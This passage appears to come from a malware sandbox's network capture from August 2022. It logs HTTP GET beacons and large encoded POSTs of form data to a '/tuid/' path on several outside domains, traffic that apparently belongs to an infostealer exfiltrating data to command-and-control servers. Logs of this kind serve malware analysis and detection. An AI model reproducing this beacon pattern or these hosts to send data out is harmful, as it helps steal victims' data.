m4bd=YqZD72ZBaEOQ8vdXUd2lHHpSZ35Y43Db96w9gO3erNN3qqiBLAZAQNkxdrYRHgRcB4Me8sUYrCzlohLzoeeYsdF8oWxf7Exvv1Ym97MLQXS7VTND9ai_jEfWP12G1hth4lcAhpa7f45mxppt55E-UIDdW5Nlu16iAUdtkhhlDpdBArkOVrRsR5JhCyd0Bj5JBiUiXfMJjLvMmmhjf3Ki2aNpp5V4xdVLuwwDx11WcE5aPCnMP079KvE0YfaVtYj7oMPOvT~ykRgeNi5QM8KGZ9f_dCfiXAKAGdiIl97zd4TjnmGfwzNRCagUZt72(IjReBoGi2qJp2EuV1bcRZha7BtjnHt9VdxGslmCnlgN01YCTNeAtY3Lrvp6z6DYVBnMIvRSlJlmiDhB00IVO6B3VJJgfNjyrxvni4AxWQEM(f1Xd6tQeELcNDs0VOHXehEX1ow19KkSovt1G3oiajR7FZTVtmm2xX1PVa59H4BKvL9fZNfcFqPhI_boFie6qjjTSUH9QX2x(Xk8x0qfGGDKuFt2mO(P9wi6uELc9A8OeEPY(ZR4~2mY0RIOLhnMwnOiyryvUs0IJKKKOAUmc5OCW8zWx3XMzsEuyILEKew0~kXq3LY3DLp2UtDlsVlmyCfH7gKtLoA7UV0xuQnO5PsMdRnekHg05ga7SGiL1o3cDBvkBKsKcxDmM2qJVDb5uQL4gAjQ7ZdDhRQxvp4fgzA0KROpH8(KDitdpl71vVtwrAXbGVHAvSMFa0(4NZzMcd9sJAh9csfnGbmzDYW3xDa1egnHefrkjVZpdH(tYbVhx3Og6xaI5Jk4HFvnNhjhOb(vXj3h4Ys1pUPgivU5NC5eZd7z7qTQflsTeFzWB9v-oQ4U52h5uZ8kbMJqPeIUy_xmhGRdhLtgz-qhCKtu0DYkg5taphAWCmpTHKYsdsdk3Uvl1_K0SNlVI7s6(efUVofCXwKaNuN4C4yMJgzhHfKXq2dcGn9D5g8Am0c0AmZDSquvmAw_kONrGRN3sl(Bu-~Y2lVWCrs-gUd4bCgr1SQRY6UVyuxvBkJdUtY5MmOhZso-8ns2t9Le7nIiNdnWCdrrYl1lK2q4SplLyfAh7KaWwY1Elr88grcYgt8dIMrNV_tGAVOFAw0tMt6pIslPe0MZZ6hdpLS5jLCzFzv1a_Ok3FSDSupuoDhfzi5UZ_(TzS2yqYaSqO22c22pAmlcJOFSt63BzB(Ecgf2yqfxqKh0K9afU31gbQYW6mKZm946GuBHSveP4wsitQEAhwouvSJ8hgOH3XLbrAc-H2ax3ah2AiuM84w8BnRcssSbrlEjnDSwNDohR82wTe0AfmkCqlprapS0GZ4F79GFaW5u9lhK3lpuqd4Czjj98Ofm3FqzVdowQG9cfXbm8vRql_9wV65IRqqta9my0LOEPkJuR509c8DszAeJuT3p41XsLfN7l-wTVyuNNYKBBl2ZOnEj~FuHvQDYsY44At5KR2qroDwU8JTWeWtS1-CW1n4AnkCatOudIg6F99vkQRFMBNFV84IGYWkb~uRj0YCPiWxMe5aSnesK4NvEBgAt(APkLyuImJWyLiWjD11PVJ98n-X5Zj1y6ZhSfTj9fUS_s48aXq1eDFaoyjdp7ZN_QcSkXaKqG3GF8yUzEmrri3pzO76HE-9_JD~aWYX94_3f8kMhq5ttMbHBIeQZKuB4cvvwZnj-nMPm(913lclDctzXEdXjsvD-KctUpYfZDnOON2boEvbEXReK1K6ZMaDLH4gdUjr0NRy_KoduviqEWIFczo~aJljGfLvIcEYwxCATPtuTEZQfckXHX1Ci9FnwXyEGRIrDFNNDxfwGHnD4BN46r7rM3HILV3JAGpYiuvXeaXi1HraJzDjkaWVrdto-bz0S1GNCOWWcxfvizV9RSRGBW5dBghEueaTT3EkD8riizUP9b2G_rLFJZhyIPcm3Gg7m8ygMX5FHajZZth6D4jnBFHOyhWUsZNuGAiZvaHwUy0M-oUQETN9EL5GA~t1BG2s9vtwwzHGd(b0_2DQuKwQQwm5ILaL0iqbsIQBn4nJRGZyxgsjcRj35vXOJ6dCOQZHYv5GG20hGGUiwO-H77yo4FWCLYJslIN3WbTonVZe_~RFw9YkuQAmZS3C2Kbs6o6b5JIJCxnYnLiEMWrL0VvPVexPxxyLWZu6dCTnqtOvAxgkqPUOmysCWqLpu44WhSXIPClfcokzUd4X5Uwrf7P4iJdrJsW8hW1yiARxASS7NJerhiQAhHHlX
Aug 8, 2022 17:46:08.672900915 CEST	2012	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 08 Aug 2022 15:46:08 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Mon, 08 Aug 2022 16:46:08 GMT Location: https://www.147bronzeway.com/tuid/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qG1dlsiFm8rBZWl7RjDtEvr1yy%2BAVMGW0wvDmZdYbxPZkylqRYgrEVZOri%2BF8uPJBaFgHCs9ZNvC%2B%2FB6j8e5PuoPpLPqXbfczCWshlRPyyG0ekc9Q%2BfVKTHdP9%2BKrGQ2b0GZ5mkM%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 73796213ffc175e3-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:08.648979902 CEST	2012	OUT	GET /tuid/?m4bd=Xot5lTp2K0ClnYt2dL3qfCxcaVN+/32Qk6xa6/2CoOF7guyvNDwTfZphG6kmH2ULd7pQ&8pB=3fY8ljB8rp-H HTTP/1.1 Host: www.147bronzeway.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:46:08.749635935 CEST	2014	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 08 Aug 2022 15:46:08 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Mon, 08 Aug 2022 16:46:08 GMT Location: https://www.147bronzeway.com/tuid/?m4bd=Xot5lTp2K0ClnYt2dL3qfCxcaVN+/32Qk6xa6/2CoOF7guyvNDwTfZphG6kmH2ULd7pQ&8pB=3fY8ljB8rp-H Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jZAesZa1%2FHb0xJhuP2z1awWHGeuC27IXFkUUvXvDTTFiEWCW6Hb2zmfdGLtsn34rX8psaDP6RatMtL4ZP%2BRw1jMS0pYa6W0F7uSfEpxoxRiB87O%2Fq13ZB4DHQQDJ%2FZY8Ca%2FFc908QQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 737962142cbb7300-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:19.096998930 CEST	2028	OUT	POST /tuid/ HTTP/1.1 Host: www.linuxizes.com Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.linuxizes.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.linuxizes.com/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 68 42 65 5a 53 6e 6f 58 65 38 4c 59 67 5a 7e 76 68 55 31 33 53 74 37 4c 4b 37 34 62 62 7a 31 58 42 5f 38 70 35 51 57 6c 6e 6c 67 6c 41 75 53 74 35 78 6e 46 39 4c 33 72 33 6c 63 72 39 69 54 4c 33 38 4c 43 41 35 6b 57 72 52 4e 50 4b 6a 30 2d 46 71 55 6f 34 52 46 6d 37 74 70 4a 49 33 33 47 65 74 4b 44 38 36 7a 4a 38 46 7e 49 7a 61 74 38 54 37 6d 76 30 45 7e 62 78 59 51 71 42 6c 75 44 44 72 74 5f 48 32 53 69 51 4f 39 77 55 31 33 38 45 51 66 48 6d 51 4e 4d 41 63 6f 46 63 48 59 4d 4f 58 62 70 34 50 59 56 71 50 30 61 6d 76 46 75 28 7a 58 57 4e 31 61 53 41 2d 58 56 51 4d 58 52 69 2d 65 34 4a 56 45 37 6b 53 49 43 7e 4c 7e 30 55 5f 31 33 50 6a 5a 50 28 58 4c 58 4d 6a 38 53 37 56 28 6e 46 75 74 71 54 59 79 59 55 4c 54 76 6a 5f 32 39 49 39 4e 49 28 33 7a 63 59 37 49 6d 7e 73 75 62 47 34 34 77 28 47 6c 64 61 4a 64 53 5a 70 70 79 6f 35 35 39 6e 49 58 4a 71 4a 50 5f 79 52 6b 56 35 65 36 4e 59 41 59 58 6a 71 7a 71 34 34 6b 43 37 6b 78 43 75 66 34 65 31 77 37 64 73 48 34 6c 4c 56 6f 46 62 6d 70 6f 7a 33 75 69 6f 33 5a 73 79 53 51 58 55 44 42 6c 55 67 76 4d 31 33 52 73 6d 55 50 4d 6a 38 55 52 37 70 34 39 6e 69 55 67 63 4c 49 35 57 5a 68 58 49 39 51 35 28 30 4c 37 51 58 47 79 68 36 76 33 4c 6b 7a 47 67 67 55 64 43 50 4e 36 5a 31 4c 75 28 57 6a 70 44 31 4f 51 56 6e 76 34 68 70 39 59 73 2d 51 62 38 69 43 30 63 74 6a 58 52 39 55 75 67 6e 31 59 77 4b 67 62 64 65 35 54 4a 51 6f 31 4d 67 73 75 7a 4a 78 59 67 31 6e 2d 28 5a 7a 6e 33 4b 55 70 38 6e 62 33 50 5f 75 46 30 73 7e 6d 4e 55 69 35 57 59 63 6d 47 48 6a 55 64 5f 6a 51 77 37 5a 58 78 55 6b 59 37 2d 73 30 54 37 69 54 65 4d 7a 35 66 6d 48 66 70 5a 49 44 28 31 4c 6d 77 6d 56 45 35 68 42 2d 38 61 46 78 4b 50 64 55 53 53 36 33 41 39 46 78 68 46 53 51 65 49 38 47 6e 42 49 35 65 54 6e 59 45 56 59 4c 37 70 38 39 76 49 33 59 72 54 6f 6a 54 45 4d 76 50 59 64 53 67 44 35 7a 36 61 79 63 45 67 32 56 28 68 6a 69 65 37 5a 44 41 33 50 48 7a 55 6f 51 64 52 48 45 67 50 77 77 31 33 4a 6c 41 61 31 47 74 70 6d 4b 6b 72 65 38 28 6c 66 46 4e 30 37 78 77 4b 7e 32 65 6d 67 35 28 4f 63 54 32 74 42 35 47 4a 71 38 36 72 6f 6d 51 53 56 48 44 46 51 39 51 6a 48 6c 6d 55 39 6b 30 51 55 42 66 74 4b 57 36 4f 41 72 73 58 34 64 61 4d 49 5a 76 66 7e 68 72 72 34 57 4e 6e 56 51 35 6e 59 4c 34 67 65 4c 51 65 55 55 30 66 47 5f 75 54 51 63 35 62 59 42 39 62 4d 6e 76 36 76 52 63 42 31 4f 73 78 48 6b 7a 61 46 2d 47 43 4d 2d 59 36 41 36 6f 77 4e 64 52 5f 42 6e 32 6c 4b 46 62 6e 49 38 64 74 64 36 5a 77 6b 41 4f 30 49 72 37 5f 78 74 4a 50 7a 6d 68 41 71 69 55 59 51 46 54 4b 30 5f 33 6b 53 37 62 35 58 62 34 43 73 67 69 61 58 38 78 37 33 4a 4a 6e 46 55 6d 79 38 56 28 38 6b 64 55 44 55 71 59 79 4e 70 6d 79 73 59 39 30 67 66 63 59 6e 70 72 33 42 79 32 79 55 31 72 4b 6b 42 6f 62 58 6f 54 6c 62 6f 57 78 65 34 7e 70 45 33 35 46 46 58 41 4b 67 42 59 39 63 47 44 44 64 54 6f 50 76 70 6c 50 44 4a 51 58 70 2d 47 58 5a 51 37 51 52 4d 42 43 45 6d 70 5f 55 4a 69 65 57 79 36 68 51 7a 55 68 37 34 74 4c 7e 64 30 55 36 65 72 59 77 38 57 51 74 50 62 74 65 6c 69 63 7a 53 76 38 4c 36 5a 35 43 55 6a 50 50 30 6f 42 43 57 77 38 78 5a 28 37 28 35 7a 41 43 45 67 50 50 57 33 78 47 32 44 42 34 47 50 2d 6d 37 77 6e 6c 6e 4d 59 68 65 31 51 33 30 50 78 31 6c 58 32 77 62 49 64 63 49 6e 6b 59 50 34 77 28 6b 66 52 72 52 67 4e 30 41 77 68 38 45 42 38 76 73 75 36 62 4f 4d 6c 76 2d 6c 56 78 56 39 2d 4a 49 6d 39 72 30 36 43 49 49 78 74 45 6b 70 4e 7e 36 32 65 66 39 41 70 7e 66 72 4f 62 39 66 78 78 46 77 4e 66 73 50 59 78 46 68 2d 51 66 37 61 68 6b 63 77 38 33 6e 71 57 63 72 35 69 65 6b 38 76 69 48 57 7a 4e 52 75 72 73 77 54 39 51 6c 36 45 33 44 49 36 4c 57 64 32 4d 74 30 55 6d 32 6c 64 71 6d 74 74 4d 31 52 51 6c 54 4d 68 32 33 5f 72 64 74 74 49 41 6a 36 42 6f 79 62 7e 6f 64 52 58 33 43 33 7a 64 41 74 62 65 47 56 53 72 46 4c 69 62 71 54 69 49 45 41 41 52 49 2d 65 53 4e 74 73 35 58 73 7a 48 62 52 64 75 76 55 38 68 7e 67 71 42 47 43 54 4d 45 6c 35 6a 6d 65 75 75 53 77 34 6c 39 6f 63 57 5a 6e 32 4b 32 73 73 71 35 44 71 49 31 33 61 66 7a 63 34 65 52 66 7e 6a 38 30 50 54 53 62 73 73 6b 31 4f 73 58 72 72 49 6b 56 76 4b 6a 5f 4c 59 4d 35 63 6f 78 7a 42 5f 4e 43 Data Ascii: m4bd=hBeZSnoXe8LYgZ~vhU13St7LK74bbz1XB_8p5QWlnlglAuSt5xnF9L3r3lcr9iTL38LCA5kWrRNPKj0-FqUo4RFm7tpJI33GetKD86zJ8F~Izat8T7mv0E~bxYQqBluDDrt_H2SiQO9wU138EQfHmQNMAcoFcHYMOXbp4PYVqP0amvFu(zXWN1aSA-XVQMXRi-e4JVE7kSIC~L~0U_13PjZP(XLXMj8S7V(nFutqTYyYULTvj_29I9NI(3zcY7Im~subG44w(GldaJdSZppyo559nIXJqJP_yRkV5e6NYAYXjqzq44kC7kxCuf4e1w7dsH4lLVoFbmpoz3uio3ZsySQXUDBlUgvM13RsmUPMj8UR7p49niUgcLI5WZhXI9Q5(0L7QXGyh6v3LkzGggUdCPN6Z1Lu(WjpD1OQVnv4hp9Ys-Qb8iC0ctjXR9Uugn1YwKgbde5TJQo1MgsuzJxYg1n-(Zzn3KUp8nb3P_uF0s~mNUi5WYcmGHjUd_jQw7ZXxUkY7-s0T7iTeMz5fmHfpZID(1LmwmVE5hB-8aFxKPdUSS63A9FxhFSQeI8GnBI5eTnYEVYL7p89vI3YrTojTEMvPYdSgD5z6aycEg2V(hjie7ZDA3PHzUoQdRHEgPww13JlAa1GtpmKkre8(lfFN07xwK~2emg5(OcT2tB5GJq86romQSVHDFQ9QjHlmU9k0QUBftKW6OArsX4daMIZvf~hrr4WNnVQ5nYL4geLQeUU0fG_uTQc5bYB9bMnv6vRcB1OsxHkzaF-GCM-Y6A6owNdR_Bn2lKFbnI8dtd6ZwkAO0Ir7_xtJPzmhAqiUYQFTK0_3kS7b5Xb4CsgiaX8x73JJnFUmy8V(8kdUDUqYyNpmysY90gfcYnpr3By2yU1rKkBobXoTlboWxe4~pE35FFXAKgBY9cGDDdToPvplPDJQXp-GXZQ7QRMBCEmp_UJieWy6hQzUh74tL~d0U6erYw8WQtPbteliczSv8L6Z5CUjPP0oBCWw8xZ(7(5zACEgPPW3xG2DB4GP-m7wnlnMYhe1Q30Px1lX2wbIdcInkYP4w(kfRrRgN0Awh8EB8vsu6bOMlv-lVxV9-JIm9r06CIIxtEkpN~62ef9Ap~frOb9fxxFwNfsPYxFh-Qf7ahkcw83nqWcr5iek8viHWzNRurswT9Ql6E3DI6LWd2Mt0Um2ldqmttM1RQlTMh23_rdttIAj6Boyb~odRX3C3zdAtbeGVSrFLibqTiIEAARI-eSNts5XszHbRduvU8h~gqBGCTMEl5jmeuuSw4l9ocWZn2K2ssq5DqI13afzc4eRf~j80PTSbssk1OsXrrIkVvKj_LYM5coxzB_NC00JMwRYVy1KX~KfXtfPBzmIJmtr-7e033oQyLwYyjojTLWRqW_HLePLtC7cYrnGhnONaA56RrKx59hmjkjDugVLTghACooTy5T9xWrxUXkN1OazSE6TsLHGj~eb82voC2KnOCGfbSETQxREsdzY1Rs8eHdEDSlRcDAT-ID3_nraC9R~Sq-ZHtGslMAU82Y4yqbyLPbymeu4-~HjBr4Az7wn9K9G4Jmt0BRXVCBxM2RC0Wby-QKJG8O0ni-cjwdSdlgqu2vP2uGtF0EO-v7WQoYS1OyTCdgqyJNGB0Ea0N13mjNQs0Ih5RefJoYr0CNkdxCyjMMcdEAVPdPnXDB7zMBqSU-C1mMmOOTqYu8saPrVoOToBiNEFf4K6e71F(-1RYLGZDcHoBsh0tD3OFrM2DRiuPti5(12xag11sQP5Pe0Jf4qyIdHCbIJ8qeWa~gAqQ2wMWYKi6LWpelATOit9mUh5mL4zqx0eB2AVAv4YTJZwI6WQ6i0ByN3YITZsG-uZ0gOrnu~PdG3DQeOpiSwEK8eNKWBpKuo1YKo_JJVdKJbZ7guvUJ8_bBpf72L7SwL2JkaRXSOT5zGXZ5bwZSqWNjSSLUlUgchq222rtb8vrXelPE3rxY3kC9io6Hcm48B4(VcFqr~0fAGGKQdUFI3r05dBv8c67KxPZ4OcygExlhWftNI67IMr54vqWkAWwpxX2EI6zxgzhOa46kMC1iW9hlp85_iKPBhbyROCdLyKv41bIOxxK5a0dsRRaXR6yCL12eK-Glb1x7BsQn9rMKLu0HKlZusTYXLcUZE0uHaw46HmKU~AsZKC3D~FkSgpOwWjW2axvF(33c~HbakvC4YWi9lBS77ZEjz5ikyOlqCaSWRlxuNbkwPtc3cIqrIonezHSR7XUW5MrFJUD-Z2UqV_TZJ0gadRIiQIwv7zxLi9~-M1kaL1ejRiqsQ7RAL5XSERUuCnr9bZY3azhurR3nhtuIBH4H4cllrKVZkHGYBFxqhv(q5T5i0sQnj8mjqXsiKqBC2QAXEHb_6uDr1tiuj70ygbMJqE84Z1TBM3L1eHhowx7y3s4SQ8jxtkfdv3C6(QOcrEw65iyVPsVExxAARy3Oi0shU7zYX6kIAFL8wpgpcK3juDzN4ayqwCeNDBwK8cLaXE0NNxK_C14BKr6BDoT0Gllv7ZCU6uWIlk4E9fzDFICw~9Dc6egt9ImkuRqTI0akCUY3TkWd2cVhZ_(SMWftlbweDzAWwDZnMe(cHoMDla4_lK8ZVDGxRteFT60x3YU4IhatB8cnf4NERDXyvp0fGW1GOvtpob7C4p8h96r3M7~1Pd62uDx7T55EHHM0imbMyOlWtOoiC-P7Jd8hkVoS0zKJG52vThmkSzjNBpG4ZRkrYSG7H-phiv3J935IyL5TbMpe7aNb8QWqDKbfGQfrV9ecXG7wUx9lR5zhRQXZwK(Y5mSPBlC9r41aMJBPC6ZmXE2KBGuf3MLnyqrfKngvK3(r6SIheFR1uRrjYoECzGZ8mWzwSvLwUGZqoinZEDLQfBwGpw(VFKk9Gm~rXdRLnogiKpJvO5HVO5jcpYM4FYBDsYAaLXNgF0997hQu3VtR0cO3UsbnbjLcmOZ6B5mD47LJHQs-1ZV7wvukGWuNNpj2qyr7HcJBI_igZiVDWhfaV3wsB-knhjVJlgQq8KBO4-hoPDOgljRIjsEEC6WVSTriVj~UFrkieylkfq2jcylWvRXcLX1LV-iHw3psVWEQowhCyqhUOt(GKROSOpGbgQqXhXUlBgBFkRlSiunT4ULiZqtQqN(vIdAp3L~bpIl_kM1k(FKbCcK4UWhXWKEQe-3oH1lMyZi2Bo2wF5(UZZsPi2ItqFdLVFKteyeXrC0DhCMR9XAIlqC4dmp7PXX9hnUCDItUA9RX5qGnYrX6lQCb5vX2wqv7MBUPvRjBPDaXmEJMklEkwIsMCWLJ5uTI5W~Evh9Ic4DvmzYx35rnm696yrqB8-~1KjincUKwLxhGpPNhUWkYl2Zg9n5e1uqvJ9in24BapGBOvAZ58BdY8fPHXU9LQ5OfyDUc3VWaNig22yOlz4fn2uZrlGwhD0vpIr6da1Xf06mkyLaZWKayTy1jMtoOV0pTmXiJwQgT~PU59F41774ShrXlYKyobaHE1-h4s23UbBhf(iA0xa39eoJO0RpIsLmo2ej9Ucnm5DRy6pCNHMqrRsIFearIcMQp33PCvKFw(Tq9YwIbYHrhBPIpjT8eV0cwBtDReNN5SPj199kGoAUspyLE701lKUgxVNIG5D57hLvkadi7aOEpIXc8ON7ya6occ5YGEplwgU6A5d5YDA2-3ZY0dcM9S-Xi4pC78d24LhT9aBmtVTomuljcMry1CyiMT4VnPkHwrDLTs2DdmiFgRWTYBBWbqjoHEA919H(35ZFps52XGGuq492M4qRlfH~uaowER8H-G4FMANth9ZKBA90xzuy4dbiCKkzAqUfmZIH3m6IkhthmEp2YHg5JhFdmy_(kpOKfDatizQOmiQ18zWkv920g4vGe3K(HV5FRKBAvpDhHWtb9CfyhYXlEiYD-P7PfET3_ftCYu4hCmFgABe7rs1(OhmZOJbjf8MEL6wG1BclAJY7lvXQWeWl6yecdxJfGi4o4KSq1p8W2mJoTqCzU1WZLW7opnBEd5K4uQaAJj_eAlbE6UUJuvEBhUOs_VADN~CcuLHacrd~IxNFBbEGVB
Aug 8, 2022 17:46:19.889974117 CEST	2193	IN	HTTP/1.1 404 Not Found Date: Mon, 08 Aug 2022 15:46:19 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6c 69 6e 75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.linuxizes.com Port 80</address></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:21.265398026 CEST	2194	OUT	GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=uDqjMC0TPYTc8b3BnUYVD5r+dOFIeilgQYFIqhS/31oxMeb2xRi82/WbnXFAxC3dxs3o HTTP/1.1 Host: www.linuxizes.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:46:21.482583046 CEST	2194	IN	HTTP/1.1 404 Not Found Date: Mon, 08 Aug 2022 15:46:21 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6c 69 6e 75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.linuxizes.com Port 80</address></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:28.467752934 CEST	2208	OUT	POST /tuid/ HTTP/1.1 Host: www.ghanesa.xyz Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.ghanesa.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ghanesa.xyz/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 54 4c 4d 65 6c 6c 68 45 74 73 63 63 28 36 74 68 59 6f 65 61 71 36 71 39 65 50 31 32 6a 74 57 62 70 38 48 52 6d 41 48 64 28 58 6c 69 7e 34 7a 49 7e 63 47 64 42 64 6c 57 73 54 65 48 4b 31 64 67 48 45 6c 4b 6b 53 74 77 66 70 47 57 49 64 7e 4f 6d 46 4c 65 6f 6f 75 69 45 44 36 6a 6b 70 4f 4b 6e 4c 62 69 30 4f 36 64 59 73 67 6c 47 79 7e 6b 44 72 33 44 54 64 52 31 4b 66 65 38 41 44 48 76 30 45 42 64 63 68 43 31 4d 55 36 41 44 49 54 71 4a 73 64 45 52 4f 6b 35 6d 58 72 43 50 67 56 56 63 4b 5a 56 6b 52 67 34 46 71 78 65 28 5a 56 37 31 31 6a 55 46 76 44 4c 36 35 43 62 59 74 46 46 55 52 64 35 62 4f 61 51 4c 5a 61 62 47 6e 39 57 6c 57 4e 33 55 42 77 38 37 32 76 73 28 47 39 2d 33 41 61 70 66 41 76 68 68 71 6c 79 6a 57 6e 51 6e 69 53 39 54 6d 50 75 66 74 4e 4f 6e 4f 41 43 62 43 53 45 36 57 74 30 6d 44 51 38 7a 38 63 52 59 63 38 75 6a 48 39 48 73 7a 33 76 69 69 45 49 28 39 31 65 30 37 47 54 7e 34 39 76 41 5f 45 65 57 47 37 6a 39 54 6c 6b 72 66 30 4a 31 30 53 6a 77 4c 67 4b 33 50 71 72 7e 41 34 53 4f 7a 43 75 62 6b 44 50 4a 2d 57 48 49 36 75 70 44 73 31 47 4e 35 4d 6d 65 4a 41 79 7a 6a 68 6e 66 75 77 39 31 55 34 78 74 6a 66 6a 42 4c 65 70 68 59 46 77 66 62 62 63 59 73 4e 47 34 6e 69 35 4f 44 63 36 79 56 49 6b 66 76 36 5a 76 6e 79 35 47 64 36 6b 78 30 45 30 28 61 79 76 57 4f 71 48 41 68 54 74 44 51 38 46 4d 76 77 67 66 45 6b 7a 43 79 69 2d 4d 4e 33 63 46 30 59 56 71 5a 44 73 4c 63 36 69 59 38 78 39 48 32 64 69 6c 56 47 6b 71 74 55 49 6f 76 52 75 4f 42 62 70 51 79 35 43 61 54 57 79 4e 77 46 58 74 4c 4e 51 36 70 42 71 70 78 4a 54 6a 56 38 7a 54 65 31 57 37 7a 6d 6d 73 59 62 63 30 72 47 6d 44 66 4e 70 66 4b 4b 52 52 7a 4e 63 32 65 7e 63 46 64 72 71 52 33 66 49 70 34 4f 63 34 63 72 74 6b 71 78 48 71 48 72 4e 68 63 45 33 76 36 51 33 65 75 31 36 65 4e 6e 63 4a 52 7e 75 32 41 74 46 51 68 35 32 38 39 64 57 45 61 61 6b 68 52 31 33 28 67 4e 44 62 55 7a 53 77 4d 5a 4f 54 33 62 39 73 2d 6b 46 36 66 75 5a 57 53 54 4d 4b 55 6c 59 4a 66 58 6b 5a 72 71 37 44 64 74 65 4a 4e 6e 47 35 72 4c 64 6d 33 72 64 43 41 62 6c 75 34 74 44 4d 57 50 4e 39 57 6b 39 6d 7a 39 59 53 73 59 61 72 31 66 68 59 58 51 63 69 65 36 73 28 37 51 44 56 64 54 48 54 65 36 35 6b 6d 58 39 7e 4c 77 79 43 35 47 7a 38 50 46 6e 62 57 6c 30 6a 70 64 61 4a 5f 79 4b 67 77 64 50 46 75 75 43 61 6f 34 5a 62 4a 4d 34 4f 38 28 6b 48 45 68 74 50 43 42 49 7a 6d 42 41 63 4d 61 56 42 61 6d 4e 67 61 34 56 57 38 63 52 61 4f 64 39 55 6d 6b 53 65 5a 67 59 55 39 58 79 72 53 76 62 54 4f 38 6a 35 4d 4f 71 63 7a 37 4a 50 79 32 30 62 6f 39 6d 75 35 79 61 34 45 67 49 34 72 39 58 65 72 4f 6a 46 6e 79 58 6f 5f 61 46 75 6f 78 37 64 79 56 2d 4f 31 4b 52 4a 75 37 64 53 63 68 31 48 52 5a 31 79 4b 79 58 31 32 58 67 53 75 6f 